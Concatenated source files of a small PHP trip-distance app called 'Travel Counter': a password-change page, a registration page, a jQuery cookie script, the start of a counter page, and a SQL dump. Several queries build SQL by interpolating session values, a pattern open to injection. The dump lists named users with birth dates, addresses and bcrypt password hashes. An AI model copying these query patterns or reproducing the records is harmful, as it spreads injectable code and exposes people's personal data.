elseif (strlen( $_POST['counter_password']) > 86 || strlen($_POST['counter_password']) < 4)
{
$message = 'Incorrect length for old password';
}
/*** check the password is the correct length ***/
elseif (strlen( $_POST['counter_password_new']) > 86 || strlen($_POST['counter_password_new']) < 4)
{
$message = 'Incorrect length for new password';
}
/*** check the password is the correct length ***/
elseif (strlen( $_POST['counter_password_confirm']) > 86 || strlen($_POST['counter_password_confirm']) < 4)
{
$message = 'Incorrect length for password that needs to be confirmed';
}
/*** check the password is the correct length ***/
elseif ($_POST['counter_password_new'] != $_POST['counter_password_confirm'])
{
$message = 'Passwords are not the same! Please check again.';
}
else{
$password = mysqli_real_escape_string($db,$_POST['counter_password']);
$password_new = mysqli_real_escape_string($db,$_POST['counter_password_new']);
$encrypt = password_hash("$password_new", PASSWORD_BCRYPT);
if($_SERVER["REQUEST_METHOD"] == "POST") {
// username and password sent from form
$sql = "SELECT counter_email, counter_password FROM counter_users WHERE counter_email = '$user_check'";
$result = mysqli_query($db,$sql);
$row_pass = mysqli_fetch_array($result,MYSQLI_ASSOC);
$count = mysqli_num_rows($result);
// If result matched $email and $password, table row must be 1 row
if (password_verify($password, $row_pass['counter_password'])) {
//Password matches, so create the session
/*** now we can encrypt the password ***/
/*** prepare the insert ***/
$statement = "UPDATE counter_users SET counter_password= <PASSWORD>' WHERE counter_email= '$user_check'";
$retval = mysqli_query($db,$statement);
if(! $retval ) {
$message ='Could not update password';
}
$message = 'Updated password successfully<br><a href="user_management.php"><b>Go back to settings here.</b></a>';
}
else {
$message = 'Wrong old password, please check again!';
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Travel Counter: Configuration</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/font-awesome.min.css" rel="stylesheet">
<link href="css/templatemo_style.css" rel="stylesheet">
<link rel="stylesheet" href="css/templatemo_misc.css">
<link href="css/circle.css" rel="stylesheet">
<link href="css/jquery.bxslider.css" rel="stylesheet" />
<link rel="stylesheet" href="css/nivo-slider.css">
<link rel="stylesheet" href="css/slimbox2.css" type="text/css" media="screen" />
<link href="http://fonts.googleapis.com/css?family=Raleway:400,100,600" rel="stylesheet" type="text/css">
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/JavaScript" src="js/slimbox2.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
<link rel="stylesheet" type="text/css" href="css/ddsmoothmenu.css" />
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/ddsmoothmenu.js"></script>
<!--/***********************************************
* Smooth Navigational Menu- (c) Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/
-->
<script type="text/javascript">
ddsmoothmenu.init({
mainmenuid: "templatemo_flicker", //menu DIV id
orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
classname: 'ddsmoothmenu', //class added to menu's outer DIV
//customtheme: ["#1c5a80", "#18374a"],
contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})
</script>
</head>
<body>
<header>
<!-- start menu -->
<div id="templatemo_home">
<div class="templatemo_top">
<div class="container templatemo_container" id="home">
<div class="row">
<div class="col-sm-3 col-md-3">
<div class="logo">
<img src="images/logo_1.jpg" alt="RijnIjsssel">
</div>
</div>
<div class="col-sm-9 col-md-9 templatemo_col9">
<div id="top-menu">
<nav class="mainMenu">
<ul class="nav">
<li><a class="menu" href="#home"><?php echo $login_session; ?></a></li>
<li><a class="menu" href="#home">Password change</a></li>
<li><a class="menu" href="user_management.php">User mgmt.</a></li>
<li><a class="menu" href="logout_message.php">Log out</a></li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<!-- end menu -->
<div id="slider" class="nivoSlider templatemo_slider">
<img src="images/slider/img_1_blank.jpg" alt="slide 1" />
<img src="images/slider/img_2_blank.jpg" alt="slide 2" />
<img src="images/slider/img_3_blank.jpg" alt="slide 3" />
</div>
<div class="templatemo_caption">
<!--Pois käytöstä! <div class="templatemo_slidetitle">Travel Counter</div>-->
<div class="clear"></div>
<h1>Password change to: <?php echo $row["counter_name"]." ".$row["counter_fam_name"]."";?></h1>
<div class="clear"></div>
<p class="col-xs-12"><?php echo $message; ?></p>
</div>
</header>
<div class="templatemo_lightgrey_about" id="login">
<div class="clear"></div>
<div class="templatemo_reasonbg">
<h2>Password change.<br><br></h2>
<!--<p>Select the function you want to do.</p>-->
<div class="col-md-3"> </div>
<div class="col-md-offset-1 col-md-3 col-xs-8 col-xs-offset-2">
<form action="" method="post">
<div class="form-group">
<input name="counter_password" type="<PASSWORD>" class="form-control" id="counter_password" placeholder="<PASSWORD>" maxlength="86">
</div>
<div class="form-group">
<input name="counter_password_new" type="password" class="form-control" id="counter_password_new" placeholder="<PASSWORD>" maxlength="86">
</div>
<div class="form-group">
<input name="counter_password_confirm" type="password" class="form-control" id="counter_password_confirm" placeholder="Confirm new password" maxlength="86">
</div>
<div>
<input type="submit" name="submit" value="Change password" class="btn btn-primary"/>
</div>
</form>
</div>
<div class="row"> </div>
</div>
</div>
<div class="clear"></div>
<div class="clear"></div>
<!--Footer Start-->
<div class="templatemo_footer">
<div class="container">
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 col-md-offset-2">
<h2>About Travel Counter</h2>
<p>Travel Counter calculates the distance by giving the addresses. After that, it saves the data to database, so someone can supervise it.</p>
</div>
<div class="col-xs-8 col-sm-6 col-md-3 templatemo_col12 col-md-offset-1">
<h2>Contact</h2>
<span class=""></span>
<span class="right col-xs-11">In case of a problem, please contact</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-phone"></span>
<span class="right col-xs-11">0611440481</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-envelope"></span>
<span class="right col-xs-11"><EMAIL></span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-globe"></span>
<span class="right col-xs-11">www.travelcounter.nl</span>
<div class="clear"></div>
</div>
</div>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<!-- <script src="https://code.jquery.com/jquery.js"></script> -->
<script src="js/jquery-1.10.2.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.cycle2.min.js"></script>
<script src="js/jquery.cycle2.carousel.min.js"></script>
<script src="js/jquery.nivo.slider.pack.js"></script>
<script src="js/cookie.js"></script>
<script src="js/nivoslider.js"></script>
<script src="js/footer.js"></script>
<script src="js/path.js"></script>
<script src="js/menuscroll.js"></script>
<script>$.fn.cycle.defaults.autoSelector = '.slideshow';</script>
<script src="js/jquery.singlePageNav.js"></script>
<script type="text/javascript" src="js/lib/jquery.mousewheel-3.0.6.pack.js"></script>
<script src="js/stickUp.min.js" type="text/javascript"></script>
</body>
</html><file_sep>/travel_counter.sql
-- phpMyAdmin SQL Dump
-- version 4.4.12
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: 15.12.2016 klo 12:26
-- Palvelimen versio: 5.6.25
-- PHP Version: 5.6.11
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `travel_counter`
--
-- --------------------------------------------------------
--
-- Rakenne taululle `counter_travel`
--
CREATE TABLE IF NOT EXISTS `counter_travel` (
`travel_id` int(5) NOT NULL,
`counter_id` int(10) NOT NULL,
`travel_date` date NOT NULL,
`startingpoint` varchar(255) COLLATE utf8_bin NOT NULL,
`destination` varchar(255) COLLATE utf8_bin NOT NULL,
`distance` varchar(20) COLLATE utf8_bin NOT NULL,
`purpose` varchar(255) COLLATE utf8_bin NOT NULL
) ENGINE=MyISAM AUTO_INCREMENT=13 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;
--
-- Vedos taulusta `counter_travel`
--
INSERT INTO `counter_travel` (`travel_id`, `counter_id`, `travel_date`, `startingpoint`, `destination`, `distance`, `purpose`) VALUES
(1, 136524, '2016-06-01', 'Iinankatu 14, Suolahti', 'Viitaniementie 1, Jyväskylä', '45,3 km', ''),
(2, 136520, '2016-06-02', 'Iinankatu 14, Suolahti', 'Äänekoski', '9,7 km', ''),
(3, 136524, '2016-06-02', 'Iinankatu 14, Suolahti', 'Viitaniementie 1, Jyväskylä', '45,3 km', ''),
(4, 136524, '2016-06-01', 'Marjaniementie 95, Hailuoto', 'Niilonrinne 7, Oulu', '76,6 km', ''),
(5, 1234, '2016-06-21', 'Oslo', 'Arnhem', '1Â 203 km', ''),
(6, 106122, '2016-06-08', 'Stakenberg 47, Ede', 'Zijpendaalseweg 167, Arnhem', '20,0 km', ''),
(7, 106122, '2016-06-07', 'Stakenberg 47, Ede', 'Velperweg 39, Arnhem', '25,4 km', ''),
(8, 136524, '2016-06-02', 'Marjaniementie 95, Hailuoto', 'Iinankatu 14, Suolahti', '344 km', ''),
(9, 136524, '2016-06-02', 'Äänekoski', 'Jyväskylä', '45,3 km', ''),
(10, 136524, '2016-06-18', 'Zijpendaalseweg 167, Arnhem', 'Iinankatu 14, Suolahti', '2Â 035 km', ''),
(11, 136524, '2017-01-08', 'De Dissel 216', 'Zijpendaalseweg 167', '12,5 km', ''),
(12, 136524, '2016-11-29', 'de dissel 216, arnhem', 'zijpendaalseweg 167', '12,5 km', '');
-- --------------------------------------------------------
--
-- Rakenne taululle `counter_users`
--
CREATE TABLE IF NOT EXISTS `counter_users` (
`counter_id` int(10) NOT NULL,
`usertype` varchar(5) COLLATE utf8_swedish_ci NOT NULL DEFAULT 'user',
`counter_name` varchar(150) CHARACTER SET latin1 NOT NULL,
`counter_fam_name` varchar(150) CHARACTER SET latin1 NOT NULL,
`counter_email` varchar(150) CHARACTER SET latin1 NOT NULL,
`counter_year` int(4) NOT NULL,
`counter_month` int(2) NOT NULL,
`counter_day` int(2) NOT NULL,
`counter_password` varchar(255) CHARACTER SET latin1 NOT NULL,
`counter_address` varchar(15) COLLATE utf8_swedish_ci NOT NULL,
`counter_postcode` varchar(6) COLLATE utf8_swedish_ci NOT NULL,
`counter_city` varchar(150) COLLATE utf8_swedish_ci NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_swedish_ci;
--
-- Vedos taulusta `counter_users`
--
INSERT INTO `counter_users` (`counter_id`, `usertype`, `counter_name`, `counter_fam_name`, `counter_email`, `counter_year`, `counter_month`, `counter_day`, `counter_password`, `counter_address`, `counter_postcode`, `counter_city`) VALUES
(1234, 'user', 'Pascal', 'Wouters', 'p.<EMAIL>', 1972, 1, 15, '$2y$10$JMwhic4Rr3px8yQZ5j6VUOklxnMa7Fs8f3j1h3GJruK0mN68masd2', '', '', ''),
(106122, 'user', 'Tibor', 'Kleinman', '<EMAIL>', 1987, 12, 10, '$2y$10$iY/yMu5F./7V6WshXpuGpe3U4rE.BOfALj73SrynHvhzREEY6FLAq', 'Stakenberg 47', '6718DG', 'Ede'),
(136524, 'user', 'Timo', 'Rantasuo', '<EMAIL>', 1998, 10, 16, '$2y$10$j7ZKMHAYumO.HsiO71vfAeWB7o2W1k6e8WO4Nota3asA/YpNp6MXG', 'Iinankatu 14', '44200', 'Äänekoski (Sub-Region)'),
(123456789, 'user', 'Joona', 'Ilomäki', '<EMAIL>', 1998, 3, 28, '$2y$10$6Yld7OQwm2oD.HdrfK2TsuRM1yRZp.zh0.qZpeWgZBz1oY1vqUulO', '', '', ''),
(69, 'user', 'Katto', 'Kassinen', '<EMAIL>', 1000, 2, 7, '$2y$10$vKPrMFsQA2szHDLWqVmsgOEAMosF9zPRCIs0j/QsHJFRAj4mifKpi', 'Keppanakuja 48', '978657', 'Hervanto'),
(136521, 'user', 'Hune', 'Hunelius', '<EMAIL>', 1964, 3, 16, '$2y$10$Cuo6oTe7zunjTByxxFw1Je/qdIk24fZ2bmDxZV3h4U1US9Wf2uUE.', '', '', ''),
(12555, 'user', 'Timo', 'Rantasuo', '<EMAIL>', 0, 0, 0, '$2y$10$vbZ8qKxUE3Byd56JsrWwcOAkBjybcXGCTwNUp2/6e95VAN5IQ06ga', '', '', ''),
(136520, 'admin', 'Joni', 'Palmiranta', '<EMAIL>', 1998, 11, 11, '$2y$10$hgrGiaRg1EnmdVKDdpBeTOJTg5vqfTvQbJMk8DslzEb7Gbe.LvX46', '', '', '');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `counter_travel`
--
ALTER TABLE `counter_travel`
ADD PRIMARY KEY (`travel_id`),
ADD KEY `counter_id` (`counter_id`);
--
-- Indexes for table `counter_users`
--
ALTER TABLE `counter_users`
ADD PRIMARY KEY (`counter_id`),
ADD UNIQUE KEY `counter_email` (`counter_email`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `counter_travel`
--
ALTER TABLE `counter_travel`
MODIFY `travel_id` int(5) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=13;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/js/cookie.js
$(function(){
var default_view = 'grid';
if($.cookie('view') !== 'undefined'){
$.cookie('view', default_view, { expires: 7, path: '/' });
}
function get_grid(){
$('.list').removeClass('list-active');
$('.grid').addClass('grid-active');
$('.prod-cnt').animate({opacity:0},function(){
$('.prod-cnt').removeClass('dbox-list');
$('.prod-cnt').addClass('dbox');
$('.prod-cnt').stop().animate({opacity:1});
});
}
function get_list(){
$('.grid').removeClass('grid-active');
$('.list').addClass('list-active');
$('.prod-cnt').animate({opacity:0},function(){
$('.prod-cnt').removeClass('dbox');
$('.prod-cnt').addClass('dbox-list');
$('.prod-cnt').stop().animate({opacity:1});
});
}
if($.cookie('view') === 'list'){
$('.grid').removeClass('grid-active');
$('.list').addClass('list-active');
$('.prod-cnt').animate({opacity:0});
$('.prod-cnt').removeClass('dbox');
$('.prod-cnt').addClass('dbox-list');
$('.prod-cnt').stop().animate({opacity:1});
}
if($.cookie('view') === 'grid'){
$('.list').removeClass('list-active');
$('.grid').addClass('grid-active');
$('.prod-cnt').animate({opacity:0});
$('.prod-cnt').removeClass('dboxlist');
$('.prod-cnt').addClass('dbox');
$('.prod-cnt').stop().animate({opacity:1});
}
$('#list').click(function(){
$.cookie('view', 'list');
get_list();
});
$('#grid').click(function(){
$.cookie('view', 'grid');
get_grid();
});
/* filter */
$('.menuSwitch ul li').click(function(){
var CategoryID = $(this).attr('category');
$('.menuSwitch ul li').removeClass('cat-active');
$(this).addClass('cat-active');
$('.prod-cnt').each(function(){
if(($(this).hasClass(CategoryID)) === false){
$(this).css({'display':'none'});
}
});
$('.'+CategoryID).fadeIn();
});
});<file_sep>/register.php
<?php
/*** begin our session ***/
session_start();
/*** first check that both the ID, email, name and password have been sent ***/
if(!isset( $_POST['counter_id'], $_POST['counter_email'], $_POST['counter_name'], $_POST['counter_fam_name'], $_POST['counter_password'], $_POST['counter_password_confirm']))
{
$message = 'To use the counter, you need to register below.';
}
/*** check the ID is the correct length ***/
elseif (strlen( $_POST['counter_id']) > 10 || strlen($_POST['counter_id']) < 2)
{
$message = 'Incorrect Length for ID';
}
/*** check the email is the correct length ***/
elseif (strlen( $_POST['counter_email']) > 150 || strlen($_POST['counter_email']) < 2)
{
$message = 'Please, enter a email';
}
/*** check the email is valid ***/
elseif (!filter_var($_POST['counter_email'], FILTER_VALIDATE_EMAIL))
{
$message = 'Please, enter a valid email';
}
/*** check the name is the correct ***/
elseif (strlen( $_POST['counter_name']) > 150 || strlen($_POST['counter_name']) < 2)
{
$message = 'Please, enter your first name';
}
/*** check the fam_name is the correct length ***/
elseif (strlen( $_POST['counter_fam_name']) > 150 || strlen($_POST['counter_fam_name']) < 2)
{
$message = 'Please, enter your last/falmily name';
}
/*** check the password is the correct length ***/
elseif (strlen( $_POST['counter_password']) > 86 || strlen($_POST['counter_password']) < 4)
{
$message = 'Incorrect Length for Password';
}
/*** check the confirm password meets the password ***/
elseif ($_POST['counter_password'] != $_POST['counter_password_confirm'])
{
$message = 'Passwords are not the same! Please check again.';
}
else
{
/*** if we are here the data is valid and we can insert it into database ***/
$id = filter_var($_POST['counter_id'], FILTER_SANITIZE_STRING);
$email = filter_var($_POST['counter_email'], FILTER_SANITIZE_STRING);
$name = filter_var($_POST['counter_name'], FILTER_SANITIZE_STRING);
$fam_name = filter_var($_POST['counter_fam_name'], FILTER_SANITIZE_STRING);
$password = filter_var($_POST['counter_password'], FILTER_SANITIZE_STRING);
$year = filter_var($_POST['year'], FILTER_SANITIZE_STRING);
$month = filter_var($_POST['month'], FILTER_SANITIZE_STRING);
$day = filter_var($_POST['day'], FILTER_SANITIZE_STRING);
/*** now we can encrypt the password ***/
$encrypt = password_hash("$password", PASSWORD_BCRYPT);
/*** connect to database ***/
/*** mysql hostname ***/
$mysql_hostname = 'localhost';
/*** mysql username ***/
$mysql_username = 'mysql_username';
/*** mysql password ***/
$mysql_password = '<PASSWORD>';
/*** database name ***/
$mysql_dbname = 'counter_data';
$dbh = new PDO("mysql:host=$mysql_hostname;dbname=$mysql_dbname", $mysql_username, $mysql_password);
/*** $message = a message saying we have connected ***/
/*** set the error mode to excptions ***/
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
/*** prepare the insert ***/
$stmt = $dbh->prepare("INSERT INTO counter_users (counter_id, counter_email, counter_name, counter_fam_name, counter_password, counter_year, counter_month, counter_day ) VALUES (:id, :email, :name, :fam_name, :encrypt, :year, :month, :day )");
/*** bind the parameters ***/
$stmt->bindParam(':id', $id, PDO::PARAM_STR);
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->bindParam(':name', $name, PDO::PARAM_STR);
$stmt->bindParam(':fam_name', $fam_name, PDO::PARAM_STR);
$stmt->bindParam(':encrypt', $encrypt, PDO::PARAM_STR);
$stmt->bindParam(':year', $year, PDO::PARAM_STR);
$stmt->bindParam(':month', $month, PDO::PARAM_STR);
$stmt->bindParam(':day', $day, PDO::PARAM_STR);
/*** execute the prepared statement ***/
$stmt->execute();
/*** if all is done, say thanks ***/
$message = 'New user added<br><a href="index.php"><b>Login here!</b></a>';
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Travel Counter: Register</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<!--
Smoothy Template
http://www.templatemo.com/tm-396-smoothy
-->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/font-awesome.min.css" rel="stylesheet">
<link href="css/templatemo_style.css" rel="stylesheet">
<link rel="stylesheet" href="css/templatemo_misc.css">
<link href="css/circle.css" rel="stylesheet">
<link href="css/jquery.bxslider.css" rel="stylesheet" />
<link rel="stylesheet" href="css/nivo-slider.css">
<link rel="stylesheet" href="css/slimbox2.css" type="text/css" media="screen" />
<link href="http://fonts.googleapis.com/css?family=Raleway:400,100,600" rel="stylesheet" type="text/css">
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/JavaScript" src="js/slimbox2.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
<link rel="stylesheet" type="text/css" href="css/ddsmoothmenu.css" />
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/ddsmoothmenu.js"></script>
<!--/***********************************************
* Smooth Navigational Menu- (c) Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/
-->
<script type="text/javascript">
ddsmoothmenu.init({
mainmenuid: "templatemo_flicker", //menu DIV id
orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
classname: 'ddsmoothmenu', //class added to menu's outer DIV
//customtheme: ["#1c5a80", "#18374a"],
contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})
</script>
</head>
<body>
<header>
<!-- start menu -->
<div id="templatemo_home">
<div class="templatemo_top">
<div class="container templatemo_container" id="register">
<div class="row">
<div class="col-sm-3 col-md-3">
<div class="logo">
<img src="images/logo_1.jpg" alt="RijnIjsssel">
</div>
</div>
<div class="col-sm-9 col-md-9 templatemo_col9">
<div id="top-menu">
<nav class="mainMenu">
<ul class="nav">
<li><a class="menu" href="index.php">Home</a></li>
<li><a class="menu" href="index.php">Login</a></li>
<li><a class="menu" href="#register">Register</a></li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<!-- end menu -->
<div id="slider" class="nivoSlider templatemo_slider">
<img src="images/slider/img_1_blank.jpg" alt="slide 1" />
</div>
<div class="templatemo_caption">
<div class="clear"></div>
<h1>Registration</h1>
<div class="clear"></div>
<p class="col-xs-12"><?php echo $message; ?></p><br>
<input type="button" id="myBtn" value="How to: Register" class="btn btn-primary"/>
<div id="myModal" class="modal">
<!-- Modal content -->
<div class="modal-content">
<span class="close">x</span>
<h2>How to register to Travel Counter</h2><br><br>
<p><b>First step:</b> Try to remember your employee ID. With this, employer can identify you when he or she is checking your travel data.<br><b>Second step:</b> Give your email. Note: Please prefer to your work email address rather than your personal. <br><b>Third step:</b> Give your first name and family name.<br> <b>Fourth step:</b> Give a valid password. Password must contain at least 4 letters/digits or special letters. After that, confirm your password.<br><b>Fifth step:</b> Give your date of birth in THIS order: Year - Month - Day. For example: 1998-10-16.<br><br> Thats it, go ahead and register and start using Travel Counter.</p>
</div>
</div>
</div>
</header>
<div class="templatemo_lightgrey_about" id="register">
<div class="clear"></div>
<div class="templatemo_reasonbg">
<h2>Register</h2>
<p>Register by giving your information below.</p>
<p>Already registered? <a href="index.php"><b>Login here!</b></a></p>
<div class="col-md-3"> </div>
<div class="col-md-offset-1 col-md-3 col-xs-8 col-xs-offset-2">
<form action="" name="register" method="post">
<div class="form-group">
<input name="counter_id" type="text" class="form-control" id="counter_id" placeholder="Your ID, min. 2 digits" maxlength="10">
</div>
<div class="form-group">
<input name="counter_email" type="text" class="form-control" id="counter_email" placeholder="Your e-mail" maxlength="150">
</div>
<div class="form-group">
<input name="counter_name" type="text" class="form-control" id="counter_name" placeholder="Your first name" maxlength="150">
</div>
<div class="form-group">
<input name="counter_fam_name" type="text" class="form-control" id="counter_fam_name" placeholder="Your last/family name" maxlength="150">
</div>
<div class="form-group">
<input name="counter_password" type="<PASSWORD>" class="form-control" id="counter_password" placeholder="<PASSWORD>" maxlength="86">
</div>
<div class="form-group">
<input name="counter_password_confirm" type="<PASSWORD>" class="form-control" id="counter_password_confirm" placeholder="Confirm your password" maxlength="86">
</div>
<label for="day">Date of Birth:</label><br><br>
<div id="date1" name="date1" class="datefield">
<input id="year" onKeyup="autotab(this, document.register.month)" name="year" type="text" maxlength="4" placeholder="YYYY"/>-
<input id="month" onKeyup="autotab(this, document.register.day)" name="month" type="text" maxlength="2" placeholder="MM"/>-
<input id="day" name="day" type="text" maxlength="2" placeholder="DD"/>
</div><br><br>
<div>
<input type="submit" name="submit" value="Register" class="btn btn-primary"/>
</div>
</form>
</div>
<div class="row"> </div>
</div>
</div>
<div class="clear"></div>
<div class="clear"></div>
<!--Footer Start-->
<div class="templatemo_footer">
<div class="container">
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 col-md-offset-2">
<h2>About Travel Counter</h2>
<p>Travel Counter calculates the distance by giving the addresses. After that, it saves the data to database, so someone can supervise it.</p>
</div>
<div class="col-xs-8 col-sm-6 col-md-3 templatemo_col12 col-md-offset-1">
<h2>Contact</h2>
<span class=""></span>
<span class="right col-xs-11">In case of a problem, please contact</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-phone"></span>
<span class="right col-xs-11">0611440481</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-envelope"></span>
<span class="right col-xs-11"><EMAIL></span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-globe"></span>
<span class="right col-xs-11">www.travelcounter.nl</span>
<div class="clear"></div>
</div>
</div>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<!-- <script src="https://code.jquery.com/jquery.js"></script> -->
<script src="js/jquery-1.10.2.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.cycle2.min.js"></script>
<script src="js/jquery.cycle2.carousel.min.js"></script>
<script src="js/jquery.nivo.slider.pack.js"></script>
<script src="js/cookie.js"></script>
<script src="js/modal-box.js"></script>
<script src="js/nivoslider.js"></script>
<script src="js/footer.js"></script>
<script src="js/path.js"></script>
<script src="js/menuscroll.js"></script>
<script src="js/autotab.js"></script>
<script>$.fn.cycle.defaults.autoSelector = '.slideshow';</script>
<script src="js/jquery.singlePageNav.js"></script>
<script type="text/javascript" src="js/lib/jquery.mousewheel-3.0.6.pack.js"></script>
<script src="js/stickUp.min.js" type="text/javascript"></script>
</body>
</html><file_sep>/counter.php
<?php
include('session.php');
$result = mysqli_query($db,"SELECT * FROM counter_travel WHERE counter_id = '$id_session'");
?>
<!DOCTYPE html>
<html>
<head>
<title>Travel Counter: Counter</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/font-awesome.min.css" rel="stylesheet">
<link href="css/templatemo_style.css" rel="stylesheet">
<link rel="stylesheet" href="css/templatemo_misc.css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
<script src="js/ajax.js"></script>
<link rel="stylesheet" href="//code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.10.4/jquery-ui.js"></script>
<script>
$(function() {
$( "#date" ).datepicker({ dateFormat: 'dd-mm-yy' })();
});
</script>
<link href="css/circle.css" rel="stylesheet">
<link href="css/jquery.bxslider.css" rel="stylesheet" />
<link rel="stylesheet" href="css/nivo-slider.css">
<link rel="stylesheet" href="css/slimbox2.css" type="text/css" media="screen" />
<link href="http://fonts.googleapis.com/css?family=Raleway:400,100,600" rel="stylesheet" type="text/css">
<script type="text/JavaScript" src="js/slimbox2.js"></script>
<script type="text/JavaScript" src="js/counter.js"></script>
<script async defer
src="https://maps.googleapis.com/maps/api/js?key= <KEY>&callback=initMap">
</script>
<!--<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=true"></script>-->
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
<link rel="stylesheet" type="text/css" href="css/ddsmoothmenu.css" />
<script type="text/javascript" src="js/ddsmoothmenu.js"></script>
<!--/***********************************************
* Smooth Navigational Menu- (c) Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/
-->
<script type="text/javascript">
ddsmoothmenu.init({
mainmenuid: "templatemo_flicker", //menu DIV id
orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
classname: 'ddsmoothmenu', //class added to menu's outer DIV
//customtheme: ["#1c5a80", "#18374a"],
contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})
</script>
</head>
<body>
<header>
<!-- start menu -->
<div id="home">
<div class="templatemo_top">
<div class="container templatemo_container" id="#">
<div class="row">
<div class="col-sm-3 col-md-3">
<div class="logo">
<img src="images/logo_1.jpg" alt="RijnIjsssel">
</div>
</div>
<div class="col-sm-9 col-md-9 templatemo_col9">
<div id="top-menu">
<nav class="mainMenu">
<ul class="nav">
<li><a class="menu" href="#home"><?php echo $login_session; ?></a></li>
<li><a class="menu" href="#home">Travel Counter</a></li>
<li><a class="menu" href="user_dashboard.php">Start Screen</a></li>
<li><a class="menu" href="logout_message.php">Log out</a></li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<!-- end menu -->
<div id="slider" class="nivoSlider templatemo_slider">
<img src="images/slider/img_1_blank.jpg" alt="slide 1" />
<img src="images/slider/img_2_blank.jpg" alt="slide 2" />
<img src="images/slider/img_3_blank.jpg" alt="slide 3" />
</div>
<div class="templatemo_caption">
<!--Pois käytöstä! <div class="templatemo_slidetitle">Travel Counter</div>-->
<div class="clear"></div>
